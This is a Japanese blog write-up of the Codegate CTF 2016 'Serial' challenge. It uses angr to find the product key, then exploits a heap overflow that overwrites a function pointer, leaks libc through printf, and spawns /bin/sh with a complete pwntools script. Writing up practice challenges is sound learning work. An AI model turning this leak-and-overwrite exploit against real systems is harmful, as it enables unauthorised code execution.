読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

Codegate CTF 2016 Quals Serial

64bit-ELFでxinetd型だった。angr使ったことないからこの問題を使って解こうかなと思った問題。とりあえず、見ていこう。

shima@chino:~/workspace/pwn_list_easy/serial$ checksec --file serial 
[*] '/home/shima/workspace/pwn_list_easy/serial/serial'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
shima@chino:~/workspace/pwn_list_easy/serial$ 

とりあえず、実行してみる。

shima@chino:~/workspace/pwn_list_easy/serial$ ./serial 
input product key: 14444444444444
Wrong!

はい、どうやらここのkeyを当てないと次に行かないようになっているっぽい。…逆アセンブルして頑張りたくないなぁという思いしかなかったため、angrというものを使ってみる。とりあえず、コードをいかに貼る。

# coding: utf-8
import angr

start = 0x400cbb
finish  = 0x400e5c
key_len = 20
p = angr.Project("./serial")

# set entry point
init = p.factory.blank_state(addr = start)

# Creates a Bit-Vector Symbol
key = init.se.BVS(name="key", size = key_len * 8)

# Stores content into memory
init.memory.store(0x6020ff, key)

# Set sub_0x400cbb's arg1
init.regs.rdi = 0x6020ff

# Find the path to reach the specified address
pg = p.factory.path_group(init)
pg.explore(find = finish)

s = pg.found[0].state
print "Key = %r" % s.se.any_str(key).strip("\x00")

コード自体は以下のサイトを参考にさせていただきました。ありがとうございます!

pwn.hatenadiary.jp
コード自体は何をやっているのかというと、0x6020ff(.bssセクション内)のアドレスをkeyを判断する関数(0x400cbb)の第一引数として与え、angrが頑張ってkeyを見つけてくれるようなコードである。正直どのようにして見つけているのか分かんないため、思考停止状態で使ってる。全数探索でもやってるのかな?
angrを使うタイミングとしてはkeyを判断する関数(0x400cbb)からその関数の終わりまでである。これを実行すると以下のような結果になる。

(ENV) shima@chino:~/workspace/pwn_list_easy/serial$ python key.py 
Key = '615066814080'

これでkeyが分かったため、次の処理を見てみよう。

shima@chino:~/workspace/pwn_list_easy/serial$ ./serial 
input product key: 615066814080
Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> 
  1. ADDはヒープ領域に確保された場所に入力したものをmemcpyを使って入力した文字数分格納する。(ここにBOFあり)

  2. RemoveはADDされたもの全部削除

  3. Dumpは入力されたデータを表示する(ここのバグを利用する)

  4. Quitは終了

ADD命令でmemcpyした直後ヒープの状態は以下のようになっている。

gdb-peda$ x/4gx 0x603010
0x603010:  0x4141414141414141 0x0000000000000000
0x603020:  0x0000000000000000 0x000000000040096e

ヒープに既に何かが格納のされているが、これは関数のポインタであり、Dumpを使ったときにこの関数のポインタが利用される。今回はこの関数ポインタを任意の関数に書き換えて利用する。
以下がDumpが関数ポインタを利用する逆アセンブルである

mov     rax, [rbp+arg1] 確保されたヒープ領域の先頭アドレス
mov     rdx, [rax+18h] 関数のポインタ(確保されたヒープ領域の先頭アドレス+18h)
mov     rax, [rbp+arg1] 
mov     rdi, rax        確保されたヒープ領域の先頭アドレスを第1引数にする。
mov     eax, 0
call    rdx

入力した部分がそのまま第一引数になるため、これを上手く関数ポインタをsystemに変えて/bin/shを起動させたい。しかし、どうやってlibc baseを特定させればいいだろう?…ここで考えたのがFSBを自ら作るということだ。関数のポインタをprintf.pltをセットし、そして第一引数に%pを入力することにより、leakを行うことができる。さっそくperlワンライナーで書いて実行してみよう

shima@chino:~/workspace/pwn_list_easy/serial$ perl -e 'print "615066814080\n" . "1\n" . "%3\$p" . "A"x20 . pack("Q<", 0x400790) . "\n" . "3\n" . "4\n"' | ./serial
input product key: Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> insert >> Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> hey! (nil)
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> func : 0x400790
0x7fc393f4ff80AAAAAAAAAAAAAAAAAAAA�@Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> bye

%pから順番に試していくと%3$p(つまり、三つ目)でwrite+16h関数の部分のGOTアドレスをleakさせることができた。ここからlibc baseをleakさせ、systemの関数をセットさせよう。攻撃の順番としては以下のようになる。

  1. ADDして、BOFで関数ポインタをprintf.pltにし引数を%3$pにする。

  2. Dumpしてwrite+16h関数のアドレスをleakし、libc baseを求める。

  3. Removeして、ADDのdataをきれいにする。(関数のポインタがprintf.pltになっているため)

  4. ADDして、BOFで関数ポインタをsystemにし引数を/bin/sh;にする。

  5. Dumpしてshellを起動

これらを行うコードは以下のようになる。コードべちょー

#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
elf = ELF('./serial')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./serial')
        print "[+] connect to local\n"

def add(data):
    conn.recvuntil("choice >> ")
    conn.send("1\n")
    conn.recvuntil("insert >> ")
    conn.send(data+"\n")

def remove():
    conn.recvuntil("choice >> ")
    conn.send("2\n")

def dump():
    conn.recvuntil("choice >> ")
    conn.send("3\n")
    conn.recvuntil("func : 0x400790\n")
    return int(conn.recv(14),16)

# set product key
conn.recvuntil("input product key: ")
conn.send("615066814080\n")

# leak libc base(write+16 is leaked)
payload = ''
payload += '%3$p'
payload += 'A' * 20
payload += p64(elf.plt['printf'])

add(payload)

# get libc_base and system_addr
write_libc = dump() - 0x10
print "write:%16x" % write_libc
libc_base = write_libc - libc.symbols['write']
system    = libc_base  + libc.symbols['system']
print "[+] libc base %16x" % libc_base
print "[+] system %16x" % system

remove()

# set system(/bin/sh)
payload = ''
payload += '/bin/sh;'
payload += "A" * 16
payload += p64(system)

conn.send("1\n")
add(payload)
conn.send("3\n")

conn.interactive()

remove終わった直後に1(add命令)を送ると少し変な動きをするため、先に1を送ってそのあとにadd命令を送ることでうまくいったため、少し変なコードになっている。
【総評】angrよく分からないというお気持ち